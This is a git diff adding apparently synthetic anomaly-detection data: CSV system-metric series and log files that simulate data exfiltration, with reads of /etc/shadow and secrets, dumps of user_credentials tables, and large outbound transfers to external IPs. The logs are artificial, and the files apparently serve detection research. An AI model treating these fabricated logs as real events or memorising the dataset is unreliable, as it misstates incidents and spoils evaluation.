PROTO=TCP SPT=44332 DPT=443 LEN=1500 WINDOW=64240 +Aug 26 02:04:10 web-app[1234]: GET /api/v1/health status=200 OK +Aug 26 02:04:10 systemd[1]: Starting daily clean up activities... +Aug 26 02:04:15 kernel: [UFW BLOCK] IN=eth0 OUT=eth1 SRC=10.1.1.5 DST=203.0.113.25 PROTO=TCP SPT=44332 DPT=443 LEN=1500 WINDOW=64240 +Aug 26 02:04:30 kernel: [UFW BLOCK] IN=eth0 OUT=eth1 SRC=10.1.1.5 DST=203.0.113.25 PROTO=TCP SPT=44332 DPT=443 LEN=1500 WINDOW=64240 +Aug 26 02:04:45 kernel: [UFW BLOCK] IN=eth0 OUT=eth1 SRC=10.1.1.5 DST=203.0.113.25 PROTO=TCP SPT=44332 DPT=443 LEN=1500 WINDOW=64240 +Aug 26 02:05:00 web-app[1234]: GET /api/v1/health status=200 OK +Aug 26 02:05:00 kernel: [UFW BLOCK] IN=eth0 OUT=eth1 SRC=10.1.1.5 DST=203.0.113.25 PROTO=TCP SPT=44332 DPT=443 LEN=1500 WINDOW=64240 +Aug 26 02:05:15 kernel: [UFW BLOCK] IN=eth0 OUT=eth1 SRC=10.1.1.5 DST=203.0.113.25 PROTO=TCP SPT=44332 DPT=443 LEN=1500 WINDOW=64240 +Aug 26 02:05:30 kernel: [UFW BLOCK] IN=eth0 OUT=eth1 SRC=10.1.1.5 DST=203.0.113.25 PROTO=TCP SPT=44332 DPT=443 LEN=1500 WINDOW=64240 +Aug 26 02:05:45 kernel: [UFW BLOCK] IN=eth0 OUT=eth1 SRC=10.1.1.5 DST=203.0.113.25 PROTO=TCP SPT=44332 DPT=443 LEN=1500 WINDOW=64240 +Aug 26 02:05:50 web-app[1234]: GET /api/v1/health status=200 OK +Aug 26 02:06:00 kernel: [UFW BLOCK] IN=eth0 OUT=eth1 SRC=10.1.1.5 DST=203.0.113.25 PROTO=TCP SPT=44332 DPT=443 LEN=1500 WINDOW=64240 +Aug 26 02:06:15 systemd[1]: Starting daily clean up activities... +Aug 26 02:06:15 kernel: [UFW BLOCK] IN=eth0 OUT=eth1 SRC=10.1.1.5 DST=203.0.113.25 PROTO=TCP SPT=44332 DPT=443 LEN=1500 WINDOW=64240 +Aug 26 02:06:30 kernel: [UFW BLOCK] IN=eth0 OUT=eth1 SRC=10.1.1.5 DST=203.0.113.25 PROTO=TCP SPT=44332 DPT=443 LEN=1500 WINDOW=64240 +Aug 26 02:06:40 web-app[1234]: GET /api/v1/health status=200 OK diff --git a/mali_dataset/scenario_4/mali_4_18.csv b/mali_dataset/scenario_4/mali_4_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..8cb571d03fdfa81627eae0684d477fa29b2e1485 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T02:00:00Z,13.17,43.71,21.46,0.79,0.8 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b/mali_dataset/scenario_4/mali_4_18.log @@ -0,0 +1,45 @@ +Aug 26 02:00:00 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 02:00:00 systemd[1]: Starting daily clean up activities... +Aug 26 02:00:00 web-app[4321]: GET /api/v1/health status=200 OK +Aug 26 02:00:35 web-app[4321]: GET /api/v1/health status=200 OK +Aug 26 02:00:50 systemd[1]: Starting daily clean up activities... +Aug 26 02:01:05 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 02:01:10 web-app[4321]: GET /api/v1/health status=200 OK +Aug 26 02:01:40 systemd[1]: Starting daily clean up activities... +Aug 26 02:01:45 web-app[4321]: GET /api/v1/health status=200 OK +Aug 26 02:02:10 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 02:02:15 auditd[555]: type=PATH msg=audit(1756173735.0:27): item=0 name="/etc/shadow" inode=12345 dev=fd:00 mode=0400 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0 +Aug 26 02:02:15 auditd[555]: type=SYSCALL msg=audit(1756173735.0:27): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffd1a2b3c4d a2=90800 a3=0 items=1 ppid=1234 pid=21337 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm="bash" exe="/bin/bash" key="file_read" +Aug 26 02:02:20 web-app[4321]: GET /api/v1/health status=200 OK +Aug 26 02:02:30 postgres[5432]: [3-1] user=admin,db=production,client=127.0.0.1 LOG: statement: SELECT * FROM user_credentials; +Aug 26 02:02:30 systemd[1]: Starting daily clean up activities... +Aug 26 02:02:45 auditd[555]: type=PATH msg=audit(1756173765.0:33): item=0 name="/var/lib/jenkins/secrets/initialAdminPassword" inode=67890 dev=fd:00 mode=0400 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0 +Aug 26 02:02:55 web-app[4321]: GET /api/v1/health status=200 OK +Aug 26 02:03:00 netflow-monitor[999]: protocol=TCP, status=ALLOW, direction=outbound, src=172.17.0.5, dst=185.199.108.153, src_port=44321, dst_port=443, bytes_sent=13767802 +Aug 26 02:03:15 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 02:03:20 netflow-monitor[999]: protocol=TCP, status=ALLOW, direction=outbound, src=172.17.0.5, dst=185.199.108.153, src_port=44321, dst_port=443, bytes_sent=21002977 +Aug 26 02:03:20 systemd[1]: Starting daily clean up activities... +Aug 26 02:03:30 web-app[4321]: GET /api/v1/health status=200 OK +Aug 26 02:03:40 netflow-monitor[999]: protocol=TCP, status=ALLOW, direction=outbound, src=172.17.0.5, dst=185.199.108.153, src_port=44321, dst_port=443, bytes_sent=28301066 +Aug 26 02:04:00 netflow-monitor[999]: protocol=TCP, status=ALLOW, direction=outbound, src=172.17.0.5, dst=185.199.108.153, src_port=44321, dst_port=443, bytes_sent=36050042 +Aug 26 02:04:05 web-app[4321]: GET /api/v1/health status=200 OK +Aug 26 02:04:10 systemd[1]: Starting daily clean up activities... +Aug 26 02:04:20 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 02:04:20 netflow-monitor[999]: protocol=TCP, status=ALLOW, direction=outbound, src=172.17.0.5, dst=185.199.108.153, src_port=44321, dst_port=443, bytes_sent=43788533 +Aug 26 02:04:40 netflow-monitor[999]: protocol=TCP, status=ALLOW, direction=outbound, src=172.17.0.5, dst=185.199.108.153, src_port=44321, dst_port=443, bytes_sent=51474595 +Aug 26 02:04:40 web-app[4321]: GET /api/v1/health status=200 OK +Aug 26 02:05:00 netflow-monitor[999]: protocol=TCP, status=ALLOW, direction=outbound, src=172.17.0.5, dst=185.199.108.153, src_port=44321, dst_port=443, bytes_sent=54714695 +Aug 26 02:05:00 systemd[1]: Starting daily clean up activities... +Aug 26 02:05:15 web-app[4321]: GET /api/v1/health status=200 OK +Aug 26 02:05:20 netflow-monitor[999]: protocol=TCP, status=ALLOW, direction=outbound, src=172.17.0.5, dst=185.199.108.153, src_port=44321, dst_port=443, bytes_sent=52785315 +Aug 26 02:05:25 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 02:05:40 netflow-monitor[999]: protocol=TCP, status=ALLOW, direction=outbound, src=172.17.0.5, dst=185.199.108.153, src_port=44321, dst_port=443, bytes_sent=53970206 +Aug 26 02:05:50 systemd[1]: Starting daily clean up activities... +Aug 26 02:05:50 web-app[4321]: GET /api/v1/health status=200 OK +Aug 26 02:06:00 netflow-monitor[999]: protocol=TCP, status=ALLOW, direction=outbound, src=172.17.0.5, dst=185.199.108.153, src_port=44321, dst_port=443, bytes_sent=56864276 +Aug 26 02:06:20 netflow-monitor[999]: protocol=TCP, status=ALLOW, direction=outbound, src=172.17.0.5, dst=185.199.108.153, src_port=44321, dst_port=443, bytes_sent=51275366 +Aug 26 02:06:25 web-app[4321]: GET /api/v1/health status=200 OK +Aug 26 02:06:30 CRON[8765]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 02:06:40 netflow-monitor[999]: protocol=TCP, status=ALLOW, direction=outbound, src=172.17.0.5, dst=185.199.108.153, src_port=44321, dst_port=443, bytes_sent=49471815 +Aug 26 02:06:40 systemd[1]: Starting daily clean up activities... +Aug 26 02:07:00 web-app[4321]: GET /api/v1/health status=200 OK diff --git a/mali_dataset/scenario_4/mali_4_19.csv b/mali_dataset/scenario_4/mali_4_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..eb9e65c86a55d67e8c3b6095abcf589953b34547 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T23:00:00Z,13.6,44.81,29.26,1.06,0.73 +2025-07-02T23:00:05Z,9.23,39.53,30.51,1.39,0.72 +2025-07-02T23:00:10Z,13.71,39.88,24.54,1.1,0.92 +2025-07-02T23:00:15Z,16.64,31.95,28.9,1.17,0.99 +2025-07-02T23:00:20Z,9.1,44.2,27.93,0.67,0.92 +2025-07-02T23:00:25Z,11.97,35.31,32.25,1.2,1.43 +2025-07-02T23:00:30Z,17.51,33.6,20.14,1.54,1.1 +2025-07-02T23:00:35Z,10.04,43.31,34.88,1.09,1.43 +2025-07-02T23:00:40Z,11.99,52.43,25.72,0.98,1.37 +2025-07-02T23:00:45Z,16.36,39.84,25.87,1.35,0.92 +2025-07-02T23:00:50Z,14.63,33.79,29.06,0.97,0.6 +2025-07-02T23:00:55Z,12.2,39.85,25.76,1.86,0.86 +2025-07-02T23:01:00Z,16.66,34.84,33.47,1.77,0.98 +2025-07-02T23:01:05Z,11.85,42.1,39.49,0.74,0.8 +2025-07-02T23:01:10Z,15.47,45.83,28.57,1.19,1.16 +2025-07-02T23:01:15Z,13.21,37.48,32.62,1.03,0.72 +2025-07-02T23:01:20Z,13.51,41.38,32.82,1.2,0.95 +2025-07-02T23:01:25Z,19.36,36.87,32.54,0.85,0.8 +2025-07-02T23:01:30Z,14.67,36.2,33.05,1.13,1.15 +2025-07-02T23:01:35Z,15.86,36.65,26.27,1.45,0.46 +2025-07-02T23:01:40Z,12.78,40.05,30.42,1.7,1.24 +2025-07-02T23:01:45Z,14.28,39.94,26.01,1.34,1.12 +2025-07-02T23:01:50Z,13.23,37.71,29.39,1.48,1.35 +2025-07-02T23:01:55Z,11.64,43.53,26.9,1.31,1.06 +2025-07-02T23:02:00Z,15.54,46.18,39.76,1.22,0.64 +2025-07-02T23:02:05Z,18.81,37.63,33.34,1.32,0.83 +2025-07-02T23:02:10Z,14.88,36.7,27.56,1.4,0.16 +2025-07-02T23:02:15Z,16.99,39.71,30.08,1.23,0.71 +2025-07-02T23:02:20Z,15.85,45.98,30.32,1.31,1.38 +2025-07-02T23:02:25Z,21.25,44.27,33.04,0.35,1.15 +2025-07-02T23:02:30Z,63.41,76.54,84.43,0.86,1.14 +2025-07-02T23:02:35Z,58.73,71.1,82.26,0.97,1.11 +2025-07-02T23:02:40Z,54.74,65.93,88.02,1.49,0.96 +2025-07-02T23:02:45Z,58.62,83.52,69.62,1.02,1.06 +2025-07-02T23:02:50Z,55.07,71.77,88.91,1.3,0.84 +2025-07-02T23:02:55Z,69.2,69.71,93.94,0.96,1.18 +2025-07-02T23:03:00Z,57.43,67.19,79.24,1.2,2.6 +2025-07-02T23:03:05Z,48.34,76.99,87.68,1.08,4.63 +2025-07-02T23:03:10Z,53.81,72.32,74.55,1.54,5.89 +2025-07-02T23:03:15Z,60.67,76.69,94.5,0.86,7.32 +2025-07-02T23:03:20Z,66.63,66.33,69.92,1.25,9.41 +2025-07-02T23:03:25Z,66.71,78.33,96.34,1.0,10.84 +2025-07-02T23:03:30Z,59.86,76.81,76.74,1.06,12.67 +2025-07-02T23:03:35Z,63.63,72.19,87.6,0.57,14.2 +2025-07-02T23:03:40Z,62.99,71.81,84.85,1.36,15.94 +2025-07-02T23:03:45Z,22.02,44.31,25.85,1.33,12.51 +2025-07-02T23:03:50Z,16.16,38.0,25.42,1.6,16.38 +2025-07-02T23:03:55Z,15.18,42.4,23.33,0.76,15.92 +2025-07-02T23:04:00Z,9.14,36.55,28.13,1.46,13.07 +2025-07-02T23:04:05Z,10.71,37.37,28.76,1.05,16.61 +2025-07-02T23:04:10Z,16.53,38.14,30.52,1.18,15.2 +2025-07-02T23:04:15Z,12.25,33.4,30.89,0.79,15.3 +2025-07-02T23:04:20Z,9.31,41.45,27.93,1.78,15.21 +2025-07-02T23:04:25Z,12.92,39.74,28.76,1.01,17.36 +2025-07-02T23:04:30Z,14.21,49.12,33.04,1.56,15.02 +2025-07-02T23:04:35Z,14.73,29.95,25.44,0.32,15.46 +2025-07-02T23:04:40Z,16.85,39.15,28.87,1.4,16.17 +2025-07-02T23:04:45Z,7.71,37.7,29.63,1.32,13.37 +2025-07-02T23:04:50Z,11.89,41.57,36.92,1.19,14.7 +2025-07-02T23:04:55Z,19.43,32.97,36.33,1.32,14.53 +2025-07-02T23:05:00Z,14.71,35.52,24.49,1.45,16.27 +2025-07-02T23:05:05Z,10.47,37.62,31.55,0.9,15.39 +2025-07-02T23:05:10Z,14.98,35.77,28.97,0.94,19.14 +2025-07-02T23:05:15Z,17.66,39.7,34.48,1.56,16.32 +2025-07-02T23:05:20Z,20.0,37.54,28.68,1.26,16.22 +2025-07-02T23:05:25Z,12.32,38.9,33.4,0.66,16.78 +2025-07-02T23:05:30Z,12.84,33.25,36.65,1.37,15.53 +2025-07-02T23:05:35Z,15.24,39.59,32.09,1.12,18.77 +2025-07-02T23:05:40Z,8.49,42.25,34.97,0.8,15.35 +2025-07-02T23:05:45Z,14.49,41.74,28.97,1.58,14.56 +2025-07-02T23:05:50Z,14.59,36.57,27.5,1.02,14.6 +2025-07-02T23:05:55Z,18.2,38.74,21.03,0.91,17.08 +2025-07-02T23:06:00Z,14.68,32.78,32.8,1.51,14.2 +2025-07-02T23:06:05Z,16.33,43.02,29.31,1.13,17.14 +2025-07-02T23:06:10Z,14.47,40.5,27.12,0.74,16.25 +2025-07-02T23:06:15Z,13.71,38.88,27.7,1.33,15.02 +2025-07-02T23:06:20Z,14.24,49.07,34.76,1.49,14.52 +2025-07-02T23:06:25Z,12.52,46.62,23.57,1.27,15.97 +2025-07-02T23:06:30Z,13.81,38.35,23.91,1.39,16.46 +2025-07-02T23:06:35Z,14.98,44.39,25.77,0.9,14.86 +2025-07-02T23:06:40Z,16.21,39.03,35.24,1.4,0.79 +2025-07-02T23:06:45Z,13.96,37.95,31.26,1.11,0.56 +2025-07-02T23:06:50Z,15.79,37.87,36.84,1.36,0.21 +2025-07-02T23:06:55Z,9.75,40.58,34.59,1.55,0.91 +2025-07-02T23:07:00Z,13.97,35.77,32.72,1.26,0.88 +2025-07-02T23:07:05Z,19.43,40.18,29.29,1.44,1.17 +2025-07-02T23:07:10Z,16.52,35.0,32.86,1.9,1.02 +2025-07-02T23:07:15Z,14.3,42.03,31.82,1.05,0.76 +2025-07-02T23:07:20Z,17.36,38.27,29.3,1.19,1.11 +2025-07-02T23:07:25Z,14.74,35.48,27.6,0.9,0.91 diff --git a/mali_dataset/scenario_4/mali_4_19.log b/mali_dataset/scenario_4/mali_4_19.log new file mode 100644 index 0000000000000000000000000000000000000000..27a58336e75b18ced2ffa070124b36736fa7ddbd --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_19.log @@ -0,0 +1,37 @@ +Jul 02 23:00:00 server systemd[1]: Starting daily clean up activities... +Jul 02 23:00:00 server CRON[540]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 23:00:00 server web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 23:00:15 server web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 23:00:30 server web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 23:00:45 server web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 23:01:00 server web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 23:01:15 server CRON[5415]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 23:01:15 server web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 23:01:30 server web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 23:01:40 server systemd[1]: Starting daily clean up activities... +Jul 02 23:01:45 server web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 23:02:00 server web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 23:02:15 server web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 23:02:30 server CRON[5430]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 23:02:40 server auditd[555]: type=SYSCALL msg=audit(1751497360.0:123): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffd3a2f7d10 a2=90800 a3=0 items=1 ppid=1 pid=8912 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm="backup.sh" exe="/bin/bash" key="sensitive_read" +Jul 02 23:02:40 server auditd[555]: type=PATH msg=audit(1751497360.0:123): item=0 name="/srv/db_backups/user_data.sql.gz" inode=123456 dev=fd:00 mode=0100640 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0 +Jul 02 23:02:50 server postgres[6789]: [1-1] LOG: statement: COPY (SELECT * FROM user_credentials) TO STDOUT WITH CSV HEADER +Jul 02 23:02:55 server netflow[3121]: TCP_CONNECTION_START src=192.168.1.101 dst=185.125.190.47 sport=54321 dport=443 +Jul 02 23:03:00 server firewall[3122]: ALLOW TCP Outbound: src=192.168.1.101 dst=185.125.190.47 sport=54321 dport=443 len=13631488 +Jul 02 23:03:20 server systemd[1]: Starting daily clean up activities... +Jul 02 23:03:20 server firewall[3122]: ALLOW TCP Outbound: src=192.168.1.101 dst=185.125.190.47 sport=54321 dport=443 len=49335500 +Jul 02 23:03:40 server firewall[3122]: ALLOW TCP Outbound: src=192.168.1.101 dst=185.125.190.47 sport=54321 dport=443 len=83571507 +Jul 02 23:03:45 server CRON[5445]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 23:04:00 server firewall[3122]: ALLOW TCP Outbound: src=192.168.1.101 dst=185.125.190.47 sport=54321 dport=443 len=68524441 +Jul 02 23:04:20 server firewall[3122]: ALLOW TCP Outbound: src=192.168.1.101 dst=185.125.190.47 sport=54321 dport=443 len=79744204 +Jul 02 23:04:40 server firewall[3122]: ALLOW TCP Outbound: src=192.168.1.101 dst=185.125.190.47 sport=54321 dport=443 len=84777369 +Jul 02 23:05:00 server systemd[1]: Starting daily clean up activities... +Jul 02 23:05:00 server CRON[5460]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 23:05:00 server firewall[3122]: ALLOW TCP Outbound: src=192.168.1.101 dst=185.125.190.47 sport=54321 dport=443 len=85301657 +Jul 02 23:05:20 server firewall[3122]: ALLOW TCP Outbound: src=192.168.1.101 dst=185.125.190.47 sport=54321 dport=443 len=85039513 +Jul 02 23:05:40 server firewall[3122]: ALLOW TCP Outbound: src=192.168.1.101 dst=185.125.190.47 sport=54321 dport=443 len=80478208 +Jul 02 23:06:00 server firewall[3122]: ALLOW TCP Outbound: src=192.168.1.101 dst=185.125.190.47 sport=54321 dport=443 len=74448896 +Jul 02 23:06:15 server CRON[5475]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 23:06:20 server firewall[3122]: ALLOW TCP Outbound: src=192.168.1.101 dst=185.125.190.47 sport=54321 dport=443 len=76126617 +Jul 02 23:06:40 server systemd[1]: Starting daily clean up activities... +Jul 02 23:06:40 server netflow[3121]: TCP_CONNECTION_END src=192.168.1.101 dst=185.125.190.47 sport=54321 dport=443 duration=225 diff --git a/mali_dataset/scenario_4/mali_4_2.csv b/mali_dataset/scenario_4/mali_4_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..0ff7b60dab50bb66cabe062e8e216fd648ed5833 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-12T08:00:00Z,18.35,40.03,26.44,1.17,0.72 +2025-08-12T08:00:05Z,11.05,42.65,18.66,0.72,1.3 +2025-08-12T08:00:10Z,17.45,38.47,26.29,0.88,0.89 +2025-08-12T08:00:15Z,13.61,44.31,15.43,1.5,1.37 +2025-08-12T08:00:20Z,13.59,37.99,16.18,1.35,1.49 +2025-08-12T08:00:25Z,16.09,40.51,26.53,1.19,0.77 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key="sensitive_read" +Aug 12 08:01:50 server auditd[512]: type=PATH msg=audit(...): item=0 name="/srv/git/internal-repo/.git/config" ... nametype=NORMAL +Aug 12 08:02:00 server auditd[512]: type=PATH msg=audit(...): item=0 name="/etc/nginx/sites-enabled/default" ... nametype=NORMAL +Aug 12 08:02:35 server mysqld[1456]: ... [Note] User 'db_admin'@'localhost' executed: 'SELECT user_id, password_hash, email FROM production.users;' +Aug 12 08:03:00 server kernel: [UFW ALLOW] IN= OUT=eth0 SRC=172.17.0.8 DST=203.0.113.52 ... PROTO=TCP SPT=54321 DPT=9999 +Aug 12 08:07:05 server sshd[18234]: pam_unix(sshd:session): session closed for user deploy_user diff --git a/mali_dataset/scenario_4/mali_4_20.csv b/mali_dataset/scenario_4/mali_4_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..9f0894dfdbf1f670d06d77a2716fb2909675485e --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,15.729259498617424,36.885633171359714,22.232705443332435,1.2148258412248465,0.6683082424433188 +2025-07-02T12:00:05Z,10.993389604843745,44.54626329723315,29.25072696419415,1.0244636824156788,1.3567739929209819 +2025-07-02T12:00:10Z,13.61973105216418,42.687097753537586,36.11917115952382,1.4584691634440934,0.9627068814158273 +2025-07-02T12:00:15Z,12.457278179869816,40.83252162892462,32.22253083183982,1.091178632929708,0.649521352979572 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+2025-07-02T12:06:20Z,17.15676129866616,41.84646992273758,24.436941705096807,0.8403472155284389,7.13787605228206 +2025-07-02T12:06:25Z,20.68171202317101,46.709478430756356,21.836625245772673,0.9726816549008697,7.222780019939029 +2025-07-02T12:06:30Z,19.195126883545917,42.7236576291063,26.960964897687447,1.4608092728875433,7.117325340905856 +2025-07-02T12:06:35Z,17.71324234194521,42.55683175238864,26.114856397379533,0.6134901072896906,7.815512021880567 +2025-07-02T12:06:40Z,22.552457801231633,45.97646752239844,23.75813100643568,0.6121591905104775,8.060123533012568 +2025-07-02T12:06:45Z,20.0733059087497,42.245690099836054,23.095746169390328,1.4394621532558385,7.728200563480415 +2025-07-02T12:06:50Z,18.82001242458252,42.878414002460616,26.40153456906682,1.325980140590429,8.288249449432117 +2025-07-02T12:06:55Z,19.661786355037172,49.74437462498942,26.760029983753128,0.7424483328382245,8.596652826370999 +2025-07-02T12:07:00Z,19.693687255297213,40.298496242297446,28.5862162376351,1.1859360257186422,8.449559938622734 +2025-07-02T12:07:05Z,17.86858712849793,45.36985820317647,20.55686820375235,0.7677594830001858,8.625848998770685 +2025-07-02T12:07:10Z,18.01588181776075,43.78723074447194,26.771840845305725,0.6968576908547995,9.051112157909799 +2025-07-02T12:07:15Z,22.36838967982323,44.29862129058053,25.000629453388143,0.9266813607527911,8.663485685943895 +2025-07-02T12:07:20Z,24.60689024932046,47.20071635711567,21.49118413708149,0.7387293523796238,8.700121878575377 +2025-07-02T12:07:25Z,22.2482865592719,43.39394847810421,23.153365470845372,1.1529048589651465,9.396436166095082 diff --git a/mali_dataset/scenario_4/mali_4_20.log b/mali_dataset/scenario_4/mali_4_20.log new file mode 100644 index 0000000000000000000000000000000000000000..7e16d5d9d6c2e5041196b69e415c04ed9d5128dd --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_20.log @@ -0,0 +1,15 @@ +Jul 02 12:00:00 web-app[1742]: GET /api/v1/health status=200 OK +Jul 02 12:00:15 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:50 sshd[3164]: Accepted publickey for user admin from 192.168.1.100 port 2222 ssh2: RSA SHA256:... +Jul 02 12:02:30 auditd[555]: type=SYSCALL arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffd0a3b1f10 a2=90800 a3=0 items=1 ppid=5482 pid=5483 auid=1001 uid=1001 gid=1001 euid=1001 suid=1001 fsuid=1001 egid=1001 sgid=1001 fsgid=1001 tty=(none) ses=1 comm="backup.sh" exe="/bin/bash" key="sensitive-files" +Jul 02 12:02:35 db-postgres[2345]: [3-1] LOG: statement: SELECT * FROM user_credentials; +Jul 02 12:02:43 auditd[555]: type=PATH item=0 name="/var/data/user_secrets.db" inode=654321 dev=08:01 mode=0100600 ouid=1001 ogid=1001 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0 +Jul 02 12:02:53 web-app[1417]: GET /api/v1/user/45 status=200 OK +Jul 02 12:03:13 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:03:25 netflow[789]: type=FLOW_CREATE proto=TCP src=172.16.4.21:54321 dst=203.0.113.25:443, direction=egress, bytes_sent=0 +Jul 02 12:03:55 netflow[789]: type=FLOW_STATS proto=TCP src=172.16.4.21:54321 dst=203.0.113.25:443, direction=egress, bytes_sent=15728640 +Jul 02 12:04:25 web-app[1950]: GET /api/v1/status status=200 OK +Jul 02 12:04:55 netflow[789]: type=FLOW_STATS proto=TCP src=172.16.4.21:54321 dst=203.0.113.25:443, direction=egress, bytes_sent=31457280 +Jul 02 12:05:25 netflow[789]: type=FLOW_STATS proto=TCP src=172.16.4.21:54321 dst=203.0.113.25:443, direction=egress, bytes_sent=47185920 +Jul 02 12:05:55 systemd[1]: Starting log rotation... +Jul 02 12:06:25 netflow[789]: type=FLOW_TERMINATE proto=TCP src=172.16.4.21:54321 dst=203.0.113.25:443, direction=egress, bytes_sent=62914560, duration=180s diff --git a/mali_dataset/scenario_4/mali_4_21.csv b/mali_dataset/scenario_4/mali_4_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..05ebfc82cffdf5b87e22524c1cb9a728bd865215 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-12T02:30:00Z,12.86,35.94,6.12,1.03,1.13 +2025-08-12T02:30:05Z,13.89,34.32,12.74,1.4,0.75 +2025-08-12T02:30:10Z,15.84,37.03,14.58,1.05,0.81 +2025-08-12T02:30:15Z,13.77,36.66,14.54,1.14,0.74 +2025-08-12T02:30:20Z,18.65,36.86,10.81,1.44,1.19 +2025-08-12T02:30:25Z,19.03,38.25,15.72,0.87,1.04 +2025-08-12T02:30:30Z,14.35,37.59,18.86,0.9,1.19 +2025-08-12T02:30:35Z,11.74,36.52,19.7,1.22,0.71 +2025-08-12T02:30:40Z,16.59,37.46,11.52,0.86,1.06 +2025-08-12T02:30:45Z,14.52,38.08,7.65,0.91,0.73 +2025-08-12T02:30:50Z,18.3,35.26,14.69,1.12,1.15 +2025-08-12T02:30:55Z,17.09,35.56,14.89,1.34,1.19 +2025-08-12T02:31:00Z,12.94,36.0,12.07,1.1,0.66 +2025-08-12T02:31:05Z,15.22,37.14,13.32,1.44,0.76 +2025-08-12T02:31:10Z,12.93,33.94,11.66,0.98,0.57 +2025-08-12T02:31:15Z,17.27,34.73,8.62,0.97,0.95 +2025-08-12T02:31:20Z,16.47,38.49,15.83,0.9,0.51 +2025-08-12T02:31:25Z,17.59,34.99,13.4,1.08,0.89 +2025-08-12T02:31:30Z,14.3,37.87,18.09,0.8,0.86 +2025-08-12T02:31:35Z,13.24,32.95,12.87,0.94,0.7 +2025-08-12T02:31:40Z,14.49,35.41,15.2,1.11,1.14 +2025-08-12T02:31:45Z,16.91,37.96,13.5,1.3,0.68 +2025-08-12T02:31:50Z,15.65,37.69,19.72,0.86,0.7 +2025-08-12T02:31:55Z,16.88,32.62,6.63,0.99,1.0 +2025-08-12T02:32:00Z,10.19,39.84,12.58,1.18,1.2 +2025-08-12T02:32:05Z,12.59,37.86,17.34,1.47,0.78 +2025-08-12T02:32:10Z,13.96,33.57,12.13,1.35,1.15 +2025-08-12T02:32:15Z,16.67,36.52,7.87,1.23,0.74 +2025-08-12T02:32:20Z,14.06,37.28,11.48,1.28,1.16 +2025-08-12T02:32:25Z,19.4,36.93,15.09,1.06,1.05 +2025-08-12T02:32:30Z,12.39,37.93,59.36,1.38,1.17 +2025-08-12T02:32:35Z,12.28,36.61,51.18,0.96,1.91 +2025-08-12T02:32:40Z,15.9,38.76,50.95,1.13,3.23 +2025-08-12T02:32:45Z,16.44,42.54,44.57,0.95,4.58 +2025-08-12T02:32:50Z,18.64,43.97,44.29,0.87,6.37 +2025-08-12T02:32:55Z,23.67,45.77,39.13,0.85,7.76 +2025-08-12T02:33:00Z,23.55,48.38,37.14,1.15,9.11 +2025-08-12T02:33:05Z,27.86,49.85,35.87,0.87,10.3 +2025-08-12T02:33:10Z,30.6,48.73,32.64,1.45,11.4 +2025-08-12T02:33:15Z,31.54,52.48,30.14,0.82,13.03 +2025-08-12T02:33:20Z,34.17,51.21,28.65,1.11,14.52 +2025-08-12T02:33:25Z,36.18,52.73,29.04,0.85,15.56 +2025-08-12T02:33:30Z,33.67,54.14,26.17,0.85,16.84 +2025-08-12T02:33:35Z,37.73,58.11,26.13,1.2,17.84 